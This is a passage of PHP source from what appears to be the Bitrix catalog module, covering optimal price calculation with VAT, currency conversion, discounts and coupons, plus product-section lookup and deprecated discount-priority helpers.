foreach (GetModuleEvents('catalog', 'OnGetOptimalPriceResult', true) as $arEvent)
{
$eventOnResultExists = true;
if (ExecuteModuleEventEx($arEvent, array(&$arResult)) === false)
return false;
}
if ($eventOnResultExists === null)
$eventOnResultExists = false;
}
return $arResult;
}
public static function GetOptimalPriceList(array $products, $arUserGroups = array(), $renewal = "N", $priceList = array(), $siteID = false, $needCoupons = true)
{
static $eventOnGetExists = null;
static $eventOnResultExists = null;
$needCoupons = ($needCoupons === true);
$resultList = array();
$iblockListId = array();
$productIblockGetIdList = array();
$ignoreList = array();
$useDiscount = !\CCatalogDiscount::isUsedSaleDiscountOnly();
foreach ($products as $productId => $productData)
{
Catalog\Product\Price\Calculation::setConfig(
array(
'USE_DISCOUNTS' => (isset($productData['BUNDLE_CHILD']) && $productData['BUNDLE_CHILD'] === true ? false : $useDiscount),
)
);
foreach (GetModuleEvents('catalog', 'OnGetOptimalPrice', true) as $arEvent)
{
if (!empty($productData['QUANTITY_LIST']))
{
foreach ($productData['QUANTITY_LIST'] as $basketCode => $quantity)
{
$mxResult = ExecuteModuleEventEx(
$arEvent,
array(
$productId,
$quantity,
$arUserGroups,
$renewal,
$priceList,
$siteID,
$needCoupons ? false : array()
)
);
if ($mxResult !== true)
{
self::updateUserHandlerOptimalPrice(
$mxResult,
['PRODUCT_ID' => $productId]
);
$resultList[$productId][$productData['BASKET_CODE']] = $mxResult;
$ignoreList[$productId."|".$quantity] = true;
continue 3;
}
}
}
}
if (!empty($productData['QUANTITY_LIST']))
{
foreach ($productData['QUANTITY_LIST'] as $basketCode => $quantity)
{
$resultList[$productId][$basketCode] = false;
}
}
else
{
$resultList[$productId][$productData['BASKET_CODE']] = false;
}
if (!isset($iblockListId[$productId]) && isset($productData['IBLOCK_ID']) && $productData['IBLOCK_ID'] > 0)
{
$iblockListId[$productId] = $productData['IBLOCK_ID'];
}
if (!isset($iblockListId[$productId]))
{
$productIblockGetIdList[] = $productId;
}
}
global $APPLICATION;
if (!is_array($arUserGroups) && (int)$arUserGroups.'|' == (string)$arUserGroups.'|')
$arUserGroups = array((int)$arUserGroups);
if (!is_array($arUserGroups))
$arUserGroups = array();
if (!in_array(2, $arUserGroups))
$arUserGroups[] = 2;
Main\Type\Collection::normalizeArrayValuesByInt($arUserGroups);
$renewal = ($renewal == 'Y' ? 'Y' : 'N');
if ($siteID === false)
$siteID = SITE_ID;
$resultCurrency = Catalog\Product\Price\Calculation::getCurrency();
if (empty($resultCurrency))
{
$APPLICATION->ThrowException(Loc::getMessage("BT_MOD_CATALOG_PROD_ERR_NO_RESULT_CURRENCY"));
return false;
}
if (!empty($productIblockGetIdList))
{
$iblockIdList = CIBlockElement::GetIBlockByIDList($productIblockGetIdList);
if (!empty($iblockIdList) && is_array($iblockIdList))
{
$iblockListId = $iblockIdList + $iblockListId;
}
}
if (!isset($priceList) || !is_array($priceList))
$priceList = array();
if (empty($priceList))
{
$priceTypeList = self::getAllowedPriceTypes($arUserGroups);
if (empty($priceTypeList))
{
if (!empty($resultList))
{
return $resultList;
}
return false;
}
$iterator = Catalog\PriceTable::getList(array(
'select' => array('ID', 'CATALOG_GROUP_ID', 'PRICE', 'CURRENCY', 'QUANTITY_FROM', 'QUANTITY_TO', 'PRODUCT_ID'),
'filter' => array(
'=PRODUCT_ID' => array_keys($products),
'@CATALOG_GROUP_ID' => $priceTypeList
),
));
while ($row = $iterator->fetch())
{
$row['ELEMENT_IBLOCK_ID'] = $iblockListId[$row['PRODUCT_ID']];
if (isset($products[$row['PRODUCT_ID']]))
{
$productData = $products[$row['PRODUCT_ID']];
if (!empty($productData['QUANTITY_LIST']))
{
foreach ($productData['QUANTITY_LIST'] as $basketCode => $quantity)
{
if(isset($ignoreList[$row['PRODUCT_ID']."|".$quantity]))
{
continue 2;
}
}
}
$quantityList = array();
if (!isset($productData['QUANTITY']))
{
$quantityList = array($productData['QUANTITY']);
}
if (!empty($productData['QUANTITY_LIST']))
{
$quantityList = $productData['QUANTITY_LIST'];
}
foreach ($quantityList as $basketCode => $quantity)
{
$checkQuantity = abs(floatval($quantity));
if (($row['QUANTITY_FROM'] <= $checkQuantity || empty($row['QUANTITY_FROM']))
&& ($row['QUANTITY_TO'] >= $checkQuantity || empty($row['QUANTITY_TO'])))
{
$row['QUANTITY'] = floatval($quantity);
$row['BASKET_CODE'] = $basketCode;
$priceList[] = $row;
}
}
}
}
unset($row, $iterator);
unset($cacheKey);
}
else
{
foreach ($priceList as $priceIndex => $priceData)
{
$priceList[$priceIndex]['ELEMENT_IBLOCK_ID'] = $iblockListId[$priceData['PRODUCT_ID']];
}
unset($priceIndex);
}
if (empty($priceList))
{
if (!empty($resultList))
{
return $resultList;
}
return false;
}
\Bitrix\Main\Type\Collection::sortByColumn($priceList, 'BASKET_CODE');
$vatList = CCatalogProduct::GetVATDataByIDList(array_keys($products));
if (!empty($vatList))
{
foreach ($vatList as $productId => $vatValue)
{
if ($vatValue === false)
{
$vatList[$productId] = array('RATE' => 0.0, 'VAT_INCLUDED' => 'N');
}
else
{
$vatList[$productId]['RATE'] = (float)$vatList[$productId]['RATE'] * 0.01;
}
}
}
$isNeedDiscounts = Catalog\Product\Price\Calculation::isAllowedUseDiscounts();
$resultWithVat = Catalog\Product\Price\Calculation::isIncludingVat();
$boolDiscountVat = ('N' != COption::GetOptionString('catalog', 'discount_vat', 'Y'));
$discountList = array();
if (self::$saleIncluded === null)
self::initSaleSettings();
$isNeedleToMinimizeCatalogGroup = self::isNeedleToMinimizeCatalogGroup($priceList);
$lastProductId = false;
$lastBasketCode = false;
$ignoreProductIdList = array();
$coupons = array();
$minimalPrice = array();
foreach ($priceList as $priceData)
{
$productId = $priceData['PRODUCT_ID'];
$basketCode = $priceData['BASKET_CODE'];
if (in_array($productId, $ignoreProductIdList))
{
continue;
}
if ($lastBasketCode != $basketCode)
{
if ($lastBasketCode !== false)
{
foreach (GetModuleEvents('catalog', 'OnGetOptimalPriceResult', true) as $arEvent)
{
if (ExecuteModuleEventEx($arEvent, array(&$resultList[$lastProductId][$lastBasketCode])) === false)
{
continue;
}
}
$productHash = array(
'MODULE' => 'catalog',
'PRODUCT_ID' => $lastProductId,
'BASKET_ID' => $lastBasketCode
);
if (!empty($resultList[$lastProductId][$lastBasketCode]['DISCOUNT_LIST']))
{
$applyCoupons = array();
foreach ($resultList[$lastProductId][$lastBasketCode]['DISCOUNT_LIST'] as $discount)
{
if (!empty($discount['COUPON']))
{
$applyCoupons[] = $discount['COUPON'];
}
}
if (!empty($applyCoupons))
{
$resultApply = Sale\DiscountCouponsManager::setApplyByProduct($productHash, $applyCoupons);
}
}
}
if ($isNeedDiscounts && $needCoupons)
{
$coupons = static::getCoupons($productId, $basketCode);
}
$lastBasketCode = $basketCode;
$lastProductId = $productId;
Catalog\Product\Price\Calculation::setConfig(
array(
'USE_DISCOUNTS' => (isset($products[$productId]['BUNDLE_CHILD']) && $products[$productId]['BUNDLE_CHILD'] === true ? false : $useDiscount),
)
);
$isNeedDiscounts = Catalog\Product\Price\Calculation::isAllowedUseDiscounts();
}
$vat = $vatList[$priceData['PRODUCT_ID']];
$priceData['VAT_RATE'] = $vat['RATE'];
$priceData['VAT_INCLUDED'] = $vat['VAT_INCLUDED'];
$currentPrice = (float)$priceData['PRICE'];
if ($boolDiscountVat)
{
if ($priceData['VAT_INCLUDED'] == 'N')
$currentPrice *= (1 + $priceData['VAT_RATE']);
}
else
{
if ($priceData['VAT_INCLUDED'] == 'Y')
$currentPrice /= (1 + $priceData['VAT_RATE']);
}
if ($priceData['CURRENCY'] != $resultCurrency)
$currentPrice = CCurrencyRates::ConvertCurrency($currentPrice, $priceData['CURRENCY'], $resultCurrency);
$currentPrice = Catalog\Product\Price\Calculation::roundPrecision($currentPrice);
$result = array(
'BASE_PRICE' => $currentPrice,
'COMPARE_PRICE' => $currentPrice,
'PRICE' => $currentPrice,
'CURRENCY' => $resultCurrency,
'DISCOUNT_LIST' => array(),
'RAW_PRICE' => $priceData
);
if ($isNeedDiscounts)
{
$discountList[$priceData['PRODUCT_ID']] = \CCatalogDiscount::GetDiscount(
$productId,
$iblockListId[$priceData['PRODUCT_ID']],
$priceData['CATALOG_GROUP_ID'],
$arUserGroups,
$renewal,
$siteID,
$coupons
);
$discountResult = \CCatalogDiscount::applyDiscountList($currentPrice, $resultCurrency, $discountList[$priceData['PRODUCT_ID']]);
if ($discountResult === false)
{
$ignoreProductIdList[] = $productId;
$resultList[$productId][$basketCode] = false;
continue;
}
$result['PRICE'] = $discountResult['PRICE'];
$result['COMPARE_PRICE'] = $discountResult['PRICE'];
$result['DISCOUNT_LIST'] = $discountResult['DISCOUNT_LIST'];
unset($discountResult);
}
elseif($isNeedleToMinimizeCatalogGroup)
{
if (!isset($products[$productId]['QUANTITY_LIST'][$basketCode]))
continue;
$calculateData = $priceData;
$calculateData['PRICE'] = $currentPrice;
$calculateData['CURRENCY'] = $resultCurrency;
$possibleSalePrice = self::getPossibleSalePrice(
$productId,
$calculateData,
$products[$productId]['QUANTITY_LIST'][$basketCode],
$siteID,
$arUserGroups,
($needCoupons ? false: [])
);
unset($calculateData);
if ($possibleSalePrice === null)
continue;
$result['COMPARE_PRICE'] = $possibleSalePrice;
unset($possibleSalePrice);
}
if ($boolDiscountVat)
{
if (!$resultWithVat)
{
$result['PRICE'] /= (1 + $priceData['VAT_RATE']);
$result['COMPARE_PRICE'] /= (1 + $priceData['VAT_RATE']);
$result['BASE_PRICE'] /= (1 + $priceData['VAT_RATE']);
}
}
else
{
if ($resultWithVat)
{
$result['PRICE'] *= (1 + $priceData['VAT_RATE']);
$result['COMPARE_PRICE'] *= (1 + $priceData['VAT_RATE']);
$result['BASE_PRICE'] *= (1 + $priceData['VAT_RATE']);
}
}
$result['UNROUND_PRICE'] = $result['PRICE'];
$result['UNROUND_BASE_PRICE'] = $result['BASE_PRICE'];
if (Catalog\Product\Price\Calculation::isComponentResultMode())
{
$result['BASE_PRICE'] = Catalog\Product\Price::roundPrice(
$priceData['CATALOG_GROUP_ID'],
$result['BASE_PRICE'],
$resultCurrency
);
$result['PRICE'] = Catalog\Product\Price::roundPrice(
$priceData['CATALOG_GROUP_ID'],
$result['PRICE'],
$resultCurrency
);
if (
empty($result['DISCOUNT_LIST'])
|| Catalog\Product\Price\Calculation::compare($result['BASE_PRICE'], $result['PRICE'], '<=')
)
{
$result['BASE_PRICE'] = $result['PRICE'];
}
$result['COMPARE_PRICE'] = $result['PRICE'];
}
if (
empty($minimalPrice[$basketCode])
|| $minimalPrice[$basketCode]['COMPARE_PRICE'] > $result['COMPARE_PRICE']
)
{
$minimalPrice[$basketCode] = $result;
}
unset($currentPrice, $result);
$discountValue = ($minimalPrice[$basketCode]['BASE_PRICE'] - $minimalPrice[$basketCode]['PRICE']);
$productResult = array(
'PRICE' => $minimalPrice[$basketCode]['RAW_PRICE'],
'RESULT_PRICE' => array(
'PRICE_TYPE_ID' => $minimalPrice[$basketCode]['RAW_PRICE']['CATALOG_GROUP_ID'],
'BASE_PRICE' => $minimalPrice[$basketCode]['BASE_PRICE'],
'DISCOUNT_PRICE' => $minimalPrice[$basketCode]['PRICE'],
'CURRENCY' => $resultCurrency,
'DISCOUNT' => $discountValue,
'PERCENT' => (
$minimalPrice[$basketCode]['BASE_PRICE'] > 0 && $discountValue > 0
? roundEx((100 * $discountValue)/$minimalPrice[$basketCode]['BASE_PRICE'], 0)
: 0
),
'VAT_RATE' => $minimalPrice[$basketCode]['RAW_PRICE']['VAT_RATE'],
'VAT_INCLUDED' => ($resultWithVat ? 'Y' : 'N'),
'UNROUND_BASE_PRICE' => $minimalPrice[$basketCode]['UNROUND_BASE_PRICE'],
'UNROUND_DISCOUNT_PRICE' => $minimalPrice[$basketCode]['UNROUND_PRICE']
),
'DISCOUNT_PRICE' => $minimalPrice[$basketCode]['PRICE'],
'DISCOUNT' => array(),
'DISCOUNT_LIST' => array(),
'PRODUCT_ID' => $productId
);
if (!empty($minimalPrice[$basketCode]['DISCOUNT_LIST']))
{
reset($minimalPrice[$basketCode]['DISCOUNT_LIST']);
$productResult['DISCOUNT'] = current($minimalPrice[$basketCode]['DISCOUNT_LIST']);
$productResult['DISCOUNT_LIST'] = $minimalPrice[$basketCode]['DISCOUNT_LIST'];
}
$resultList[$productId][$priceData['BASKET_CODE']] = $productResult;
}
unset($minimalPrice);
unset($priceData);
unset($vat);
if ($lastBasketCode !== false)
{
foreach (GetModuleEvents('catalog', 'OnGetOptimalPriceResult', true) as $arEvent)
{
if (ExecuteModuleEventEx($arEvent, array(&$resultList[$lastProductId][$lastBasketCode])) === false)
{
break;
}
}
$productHash = array(
'MODULE' => 'catalog',
'PRODUCT_ID' => $lastProductId,
'BASKET_ID' => $lastBasketCode
);
if (!empty($resultList[$lastProductId][$lastBasketCode]['DISCOUNT_LIST']))
{
$applyCoupons = array();
foreach ($resultList[$lastProductId][$lastBasketCode]['DISCOUNT_LIST'] as $discount)
{
if (!empty($discount['COUPON']))
{
$applyCoupons[] = $discount['COUPON'];
}
}
if (!empty($applyCoupons))
{
Sale\DiscountCouponsManager::setApplyByProduct($productHash, $applyCoupons);
}
}
}
return $resultList;
}
/**
* @param $productId
* @param $basketCode
*
* @return array|bool
*/
private static function getCoupons($productId, $basketCode)
{
$productHash = array(
'MODULE' => 'catalog',
'PRODUCT_ID' => $productId,
'BASKET_ID' => $basketCode
);
$coupons = Sale\DiscountCouponsManager::getForApply(array('MODULE_ID' => 'catalog'), $productHash);
if (!empty($coupons))
{
$coupons = array_keys($coupons);
}
return $coupons;
}
/**
* @param float $price
* @param string $currency
* @param array $discounts
* @return bool|float
*/
public static function CountPriceWithDiscount($price, $currency, $discounts)
{
static $eventOnGetExists = null;
static $eventOnResultExists = null;
if ($eventOnGetExists === true || $eventOnGetExists === null)
{
foreach (GetModuleEvents('catalog', 'OnCountPriceWithDiscount', true) as $arEvent)
{
$eventOnGetExists = true;
$mxResult = ExecuteModuleEventEx($arEvent, array($price, $currency, $discounts));
if ($mxResult !== true)
return $mxResult;
}
if ($eventOnGetExists === null)
$eventOnGetExists = false;
}
$currency = CCurrency::checkCurrencyID($currency);
if ($currency === false)
return false;
$price = (float)$price;
if ($price <= 0)
return $price;
$currentMinPrice = $price;
if (!empty($discounts) && is_array($discounts))
{
$result = CCatalogDiscount::applyDiscountList($price, $currency, $discounts);
if ($result === false)
return false;
$currentMinPrice = $result['PRICE'];
}
if ($eventOnResultExists === true || $eventOnResultExists === null)
{
foreach (GetModuleEvents('catalog', 'OnCountPriceWithDiscountResult', true) as $arEvent)
{
$eventOnResultExists = true;
if (ExecuteModuleEventEx($arEvent, array(&$currentMinPrice)) === false)
return false;
}
if ($eventOnResultExists === null)
$eventOnResultExists = false;
}
return $currentMinPrice;
}
public static function GetProductSections($ID)
{
/** @global CStackCacheManager $stackCacheManager */
global $stackCacheManager;
$ID = (int)$ID;
if ($ID <= 0)
return false;
$cacheTime = CATALOG_CACHE_DEFAULT_TIME;
if (defined('CATALOG_CACHE_TIME'))
$cacheTime = intval(CATALOG_CACHE_TIME);
$arProductSections = array();
$dbElementSections = CIBlockElement::GetElementGroups($ID, false, array('ID', 'ADDITIONAL_PROPERTY_ID'));
while ($arElementSections = $dbElementSections->Fetch())
{
if ((int)$arElementSections['ADDITIONAL_PROPERTY_ID'] > 0)
continue;
$arSectionsTmp = array();
$strCacheKey = "p".$arElementSections["ID"];
$stackCacheManager->SetLength("catalog_group_parents", 50);
$stackCacheManager->SetTTL("catalog_group_parents", $cacheTime);
if ($stackCacheManager->Exist("catalog_group_parents", $strCacheKey))
{
$arSectionsTmp = $stackCacheManager->Get("catalog_group_parents", $strCacheKey);
}
else
{
$dbSection = CIBlockSection::GetList(
array(),
array('ID' => $arElementSections["ID"]),
false,
array(
'ID',
'IBLOCK_ID',
'LEFT_MARGIN',
'RIGHT_MARGIN',
)
);
if ($arSection = $dbSection->Fetch())
{
$dbSectionTree = CIBlockSection::GetList(
array("LEFT_MARGIN" => "DESC"),
array(
"IBLOCK_ID" => $arSection["IBLOCK_ID"],
"ACTIVE" => "Y",
"GLOBAL_ACTIVE" => "Y",
"IBLOCK_ACTIVE" => "Y",
"<=LEFT_BORDER" => $arSection["LEFT_MARGIN"],
">=RIGHT_BORDER" => $arSection["RIGHT_MARGIN"]
),
false,
array('ID')
);
while ($arSectionTree = $dbSectionTree->Fetch())
{
$arSectionTree["ID"] = intval($arSectionTree["ID"]);
$arSectionsTmp[] = $arSectionTree["ID"];
}
unset($arSectionTree, $dbSectionTree);
}
unset($arSection, $dbSection);
$stackCacheManager->Set("catalog_group_parents", $strCacheKey, $arSectionsTmp);
}
$arProductSections = array_merge($arProductSections, $arSectionsTmp);
}
unset($arElementSections, $dbElementSections);
$arProductSections = array_unique($arProductSections);
return $arProductSections;
}
public static function OnIBlockElementDelete($ProductID)
{
$result = Catalog\Model\Product::delete($ProductID);
return $result->isSuccess();
}
/**
* @deprecated deprecated since catalog 17.6.3
*
* @param array $arFields
*/
public static function OnAfterIBlockElementUpdate($arFields) {}
public static function CheckProducts($arItemIDs)
{
if (!is_array($arItemIDs))
$arItemIDs = array($arItemIDs);
Main\Type\Collection::normalizeArrayValuesByInt($arItemIDs);
if (empty($arItemIDs))
return false;
$arProductList = array();
$rsProducts = CCatalogProduct::GetList(
array(),
array('@ID' => $arItemIDs),
false,
false,
array('ID')
);
while ($arProduct = $rsProducts->Fetch())
{
$arProduct['ID'] = (int)$arProduct['ID'];
$arProductList[$arProduct['ID']] = true;
}
if (empty($arProductList))
return false;
$boolFlag = true;
foreach ($arItemIDs as &$intItemID)
{
if (!isset($arProductList[$intItemID]))
{
$boolFlag = false;
break;
}
}
unset($intItemID);
return $boolFlag;
}
/**
* Return payment period list.
*
* @deprecated deprected since catalog 17.0.0
* @see \Bitrix\Catalog\ProductTable::getPaymentPeriods
*
* @param bool $boolFull With description.
* @return array
*/
public static function GetTimePeriodTypes($boolFull = false)
{
return Catalog\ProductTable::getPaymentPeriods($boolFull);
}
/**
* Update result user handlers for event OnGetOptimalPrice.
*
* @param array &$userResult Optimal price array.
* @param array $params GetOptimalPrice parameters.
* @return void
*/
private static function updateUserHandlerOptimalPrice(&$userResult, array $params)
{
global $APPLICATION;
if (empty($userResult) || !is_array($userResult))
{
$userResult = false;
return;
}
if (
(empty($userResult['PRICE']) || !is_array($userResult['PRICE']))
&& ((empty($userResult['RESULT_PRICE']) || !is_array($userResult['RESULT_PRICE'])))
)
{
$userResult = false;
return;
}
$resultCurrency = Catalog\Product\Price\Calculation::getCurrency();
if (empty($resultCurrency))
{
$APPLICATION->ThrowException(Loc::getMessage("BT_MOD_CATALOG_PROD_ERR_NO_RESULT_CURRENCY"));
$userResult = false;
return;
}
if (!isset($userResult['PRODUCT_ID']))
$userResult['PRODUCT_ID'] = $params['PRODUCT_ID'];
$oldDiscountExist = !empty($userResult['DISCOUNT']) && is_array($userResult['DISCOUNT']);
if ($oldDiscountExist)
{
if (empty($userResult['DISCOUNT']['MODULE_ID']))
$userResult['DISCOUNT']['MODULE_ID'] = 'catalog';
if ($userResult['DISCOUNT']['CURRENCY'] != $resultCurrency)
Catalog\DiscountTable::convertCurrency($userResult['DISCOUNT'], $resultCurrency);
}
if (!isset($userResult['DISCOUNT_LIST']) || !is_array($userResult['DISCOUNT_LIST']))
{
$userResult['DISCOUNT_LIST'] = [];
if ($oldDiscountExist)
$userResult['DISCOUNT_LIST'][] = $userResult['DISCOUNT'];
}
unset($oldDiscountExist);
foreach ($userResult['DISCOUNT_LIST'] as &$discount)
{
if (empty($discount['MODULE_ID']))
$discount['MODULE_ID'] = 'catalog';
if ($discount['CURRENCY'] != $resultCurrency)
Catalog\DiscountTable::convertCurrency($discount, $resultCurrency);
}
unset($discount);
if (isset($userResult['PRICE']) && is_array($userResult['PRICE']))
{
if (!isset($userResult['PRICE']['VAT_RATE']))
{
$vat = CCatalogProduct::GetVATDataByID($userResult['PRODUCT_ID']);
if (!empty($vat))
$vat['RATE'] = (float)$vat['RATE'] * 0.01;
else
$vat = ['RATE' => 0.0, 'VAT_INCLUDED' => 'Y'];
$userResult['PRICE']['VAT_RATE'] = $vat['RATE'];
$userResult['PRICE']['VAT_INCLUDED'] = $vat['VAT_INCLUDED'];
unset($vat);
}
}
if (empty($userResult['RESULT_PRICE']) || !is_array($userResult['RESULT_PRICE']))
{
$userResult['RESULT_PRICE'] = CCatalogDiscount::calculateDiscountList(
$userResult['PRICE'],
$resultCurrency,
$userResult['DISCOUNT_LIST'],
Catalog\Product\Price\Calculation::isIncludingVat()
);
}
if (!isset($userResult['RESULT_PRICE']['CURRENCY']))
$userResult['RESULT_PRICE']['CURRENCY'] = $resultCurrency;
if (!isset($userResult['RESULT_PRICE']['PRICE_TYPE_ID']))
{
if (isset($userResult['PRICE']['CATALOG_GROUP_ID']))
$userResult['RESULT_PRICE']['PRICE_TYPE_ID'] = $userResult['PRICE']['CATALOG_GROUP_ID'];
}
$componentResultMode = Catalog\Product\Price\Calculation::isComponentResultMode();
if (!isset($userResult['RESULT_PRICE']['UNROUND_DISCOUNT_PRICE']))
{
$userResult['RESULT_PRICE']['UNROUND_DISCOUNT_PRICE'] = $userResult['RESULT_PRICE']['DISCOUNT_PRICE'];
if ($componentResultMode)
{
$userResult['RESULT_PRICE']['DISCOUNT_PRICE'] = Catalog\Product\Price::roundPrice(
$userResult['RESULT_PRICE']['PRICE_TYPE_ID'],
$userResult['RESULT_PRICE']['DISCOUNT_PRICE'],
$userResult['RESULT_PRICE']['CURRENCY']
);
}
}
if (!isset($userResult['RESULT_PRICE']['UNROUND_BASE_PRICE']))
{
$userResult['RESULT_PRICE']['UNROUND_BASE_PRICE'] = $userResult['RESULT_PRICE']['BASE_PRICE'];
if ($componentResultMode)
{
$userResult['RESULT_PRICE']['BASE_PRICE'] = Catalog\Product\Price::roundPrice(
$userResult['RESULT_PRICE']['PRICE_TYPE_ID'],
$userResult['RESULT_PRICE']['BASE_PRICE'],
$userResult['RESULT_PRICE']['CURRENCY']
);
}
}
if ($componentResultMode)
{
if (
empty($userResult['DISCOUNT_LIST'])
|| Catalog\Product\Price\Calculation::compare(
$userResult['RESULT_PRICE']['BASE_PRICE'],
$userResult['RESULT_PRICE']['DISCOUNT_PRICE'],
'<='
))
{
$userResult['RESULT_PRICE']['BASE_PRICE'] = $userResult['RESULT_PRICE']['DISCOUNT_PRICE'];
}
}
$discountValue = $userResult['RESULT_PRICE']['BASE_PRICE'] - $userResult['RESULT_PRICE']['DISCOUNT_PRICE'];
$userResult['RESULT_PRICE']['DISCOUNT'] = $discountValue;
$userResult['RESULT_PRICE']['PERCENT'] = (
$userResult['RESULT_PRICE']['BASE_PRICE'] > 0 && $discountValue > 0
? round((100*$discountValue)/$userResult['RESULT_PRICE']['BASE_PRICE'], 0)
: 0
);
unset($discountValue);
if (!isset($userResult['RESULT_PRICE']['VAT_RATE']))
{
if (isset($userResult['PRICE']['VAT_RATE']))
{
$userResult['RESULT_PRICE']['VAT_RATE'] = $userResult['PRICE']['VAT_RATE'];
$userResult['RESULT_PRICE']['VAT_INCLUDED'] = $userResult['PRICE']['VAT_INCLUDED'];
}
else
{
$vat = CCatalogProduct::GetVATDataByID($userResult['PRODUCT_ID']);
if (!empty($vat))
$vat['RATE'] = (float)$vat['RATE'] * 0.01;
else
$vat = ['RATE' => 0.0, 'VAT_INCLUDED' => 'Y'];
$userResult['RESULT_PRICE']['VAT_RATE'] = $vat['RATE'];
$userResult['RESULT_PRICE']['VAT_INCLUDED'] = $vat['VAT_INCLUDED'];
unset($vat);
}
}
$userResult['DISCOUNT_PRICE'] = $userResult['RESULT_PRICE']['DISCOUNT_PRICE'];
}
/**
* @deprecated deprecated since catalog 15.0.0
* @see CCatalogDiscount::applyDiscountList()
* @see CCatalogDiscount::primaryDiscountFilter()
*
* @param array &$arDiscount
* @param array &$arPriceDiscount
* @param array &$arDiscSave
* @param array &$arParams
*
* @return void
*/
protected static function __PrimaryDiscountFilter(&$arDiscount, &$arPriceDiscount, &$arDiscSave, &$arParams)
{
if (isset($arParams['PRICE']) && isset($arParams['CURRENCY']))
{
$arParams['PRICE'] = (float)$arParams['PRICE'];
$arParams['BASE_PRICE'] = $arParams['PRICE'];
if ($arParams['PRICE'] > 0)
{
$arPriceDiscount = array();
$arDiscSave = array();
foreach ($arDiscount as $arOneDiscount)
{
$changeData = ($arParams['CURRENCY'] != $arOneDiscount['CURRENCY']);
/** @noinspection PhpUnusedLocalVariableInspection */
$dblDiscountValue = 0.0;
$arOneDiscount['PRIORITY'] = (int)$arOneDiscount['PRIORITY'];
if (CCatalogDiscount::TYPE_FIX == $arOneDiscount['VALUE_TYPE'])
{
$dblDiscountValue = (
!$changeData
? $arOneDiscount['VALUE']
: roundEx(
CCurrencyRates::ConvertCurrency($arOneDiscount['VALUE'], $arOneDiscount['CURRENCY'], $arParams['CURRENCY']),
CATALOG_VALUE_PRECISION
)
);
if ($arParams['PRICE'] < $dblDiscountValue)
continue;
$arOneDiscount['DISCOUNT_CONVERT'] = $dblDiscountValue;
if ($changeData)
$arOneDiscount['VALUE'] = $arOneDiscount['DISCOUNT_CONVERT'];
}
elseif (CCatalogDiscount::TYPE_SALE == $arOneDiscount['VALUE_TYPE'])
{
$dblDiscountValue = (
!$changeData
? $arOneDiscount['VALUE']
: roundEx(
CCurrencyRates::ConvertCurrency($arOneDiscount['VALUE'], $arOneDiscount['CURRENCY'], $arParams['CURRENCY']),
CATALOG_VALUE_PRECISION
)
);
if ($arParams['PRICE'] <= $dblDiscountValue)
continue;
$arOneDiscount['DISCOUNT_CONVERT'] = $dblDiscountValue;
if ($changeData)
$arOneDiscount['VALUE'] = $arOneDiscount['DISCOUNT_CONVERT'];
}
elseif (CCatalogDiscount::TYPE_PERCENT == $arOneDiscount['VALUE_TYPE'])
{
if (100 < $arOneDiscount["VALUE"])
continue;
if ($arOneDiscount['TYPE'] == CCatalogDiscount::ENTITY_ID && $arOneDiscount["MAX_DISCOUNT"] > 0)
{
$dblDiscountValue = (
!$changeData
? $arOneDiscount['MAX_DISCOUNT']
: roundEx(
CCurrencyRates::ConvertCurrency($arOneDiscount['MAX_DISCOUNT'], $arOneDiscount['CURRENCY'], $arParams['CURRENCY']),
CATALOG_VALUE_PRECISION
)
);
$arOneDiscount['DISCOUNT_CONVERT'] = $dblDiscountValue;
if ($changeData)
$arOneDiscount['MAX_DISCOUNT'] = $arOneDiscount['DISCOUNT_CONVERT'];
}
}
if ($changeData)
$arOneDiscount['CURRENCY'] = $arParams['CURRENCY'];
if ($arOneDiscount['TYPE'] == CCatalogDiscountSave::ENTITY_ID)
{
$arDiscSave[] = $arOneDiscount;
}
else
{
$arPriceDiscount[$arOneDiscount['PRIORITY']][] = $arOneDiscount;
}
}
if (!empty($arPriceDiscount))
krsort($arPriceDiscount);
}
}
}
/**
* @deprecated deprecated since catalog 15.0.0
* @see CCatalogDiscount::applyDiscountList()
* @see CCatalogDiscount::calculatePriorityLevel()
*
* @param array &$arDiscounts
* @param array &$arResultDiscount
* @param array &$arParams
*
* @return bool
*/
protected static function __CalcOnePriority(&$arDiscounts, &$arResultDiscount, &$arParams)
{
$boolResult = false;
if (isset($arParams['PRICE']) && isset($arParams['CURRENCY']))
{
$arParams['PRICE'] = (float)$arParams['PRICE'];
$arParams['BASE_PRICE'] = (float)$arParams['BASE_PRICE'];
if ($arParams['PRICE'] > 0)
{
$dblCurrentPrice = $arParams['PRICE'];
do
{
$dblMinPrice = -1;
$strMinKey = -1;
$boolApply = false;
foreach ($arDiscounts as $strDiscountKey => $arOneDiscount)
{
$boolDelete = false;
$dblPriceTmp = -1;
switch($arOneDiscount['VALUE_TYPE'])
{
case CCatalogDiscount::TYPE_PERCENT:
$dblTempo = roundEx((
CCatalogDiscount::getUseBasePrice()
? $arParams['BASE_PRICE']
: $dblCurrentPrice
)*$arOneDiscount['VALUE']/100,
CATALOG_VALUE_PRECISION
);
if (isset($arOneDiscount['DISCOUNT_CONVERT']))
{
if ($dblTempo > $arOneDiscount['DISCOUNT_CONVERT'])
$dblTempo = $arOneDiscount['DISCOUNT_CONVERT'];
}
$dblPriceTmp = $dblCurrentPrice - $dblTempo;
break;
case CCatalogDiscount::TYPE_FIX:
if ($arOneDiscount['DISCOUNT_CONVERT'] > $dblCurrentPrice)
{
$boolDelete = true;
}
else
{
$dblPriceTmp = $dblCurrentPrice - $arOneDiscount['DISCOUNT_CONVERT'];
}
break;
case CCatalogDiscount::TYPE_SALE:
if (!($arOneDiscount['DISCOUNT_CONVERT'] < $dblCurrentPrice))
{
$boolDelete = true;
}
else
{
$dblPriceTmp = $arOneDiscount['DISCOUNT_CONVERT'];
}
break;
}
if ($boolDelete)
{
unset($arDiscounts[$strDiscountKey]);
}
else
{
if (-1 == $dblMinPrice || $dblMinPrice > $dblPriceTmp)
{
$dblMinPrice = $dblPriceTmp;
$strMinKey = $strDiscountKey;
$boolApply = true;
}
}
}
if ($boolApply)
{
$dblCurrentPrice = $dblMinPrice;
$arResultDiscount[] = $arDiscounts[$strMinKey];
if ('Y' == $arDiscounts[$strMinKey]['LAST_DISCOUNT'])
{
$arDiscounts = array();
$arParams['LAST_DISCOUNT'] = 'Y';
}
unset($arDiscounts[$strMinKey]);
}
} while (!empty($arDiscounts));
if ($boolApply)
{
$arParams['PRICE'] = $dblCurrentPrice;
}
$boolResult = true;
}
}
return $boolResult;
}
/**
* @deprecated deprecated since catalog 15.0.0
* @see CCatalogDiscount::applyDiscountList()
* @see CCatalogDiscount::calculateDiscSave()
*
* @param array &$arDiscSave
* @param array &$arResultDiscount
* @param array &$arParams
*
* @return bool
*/
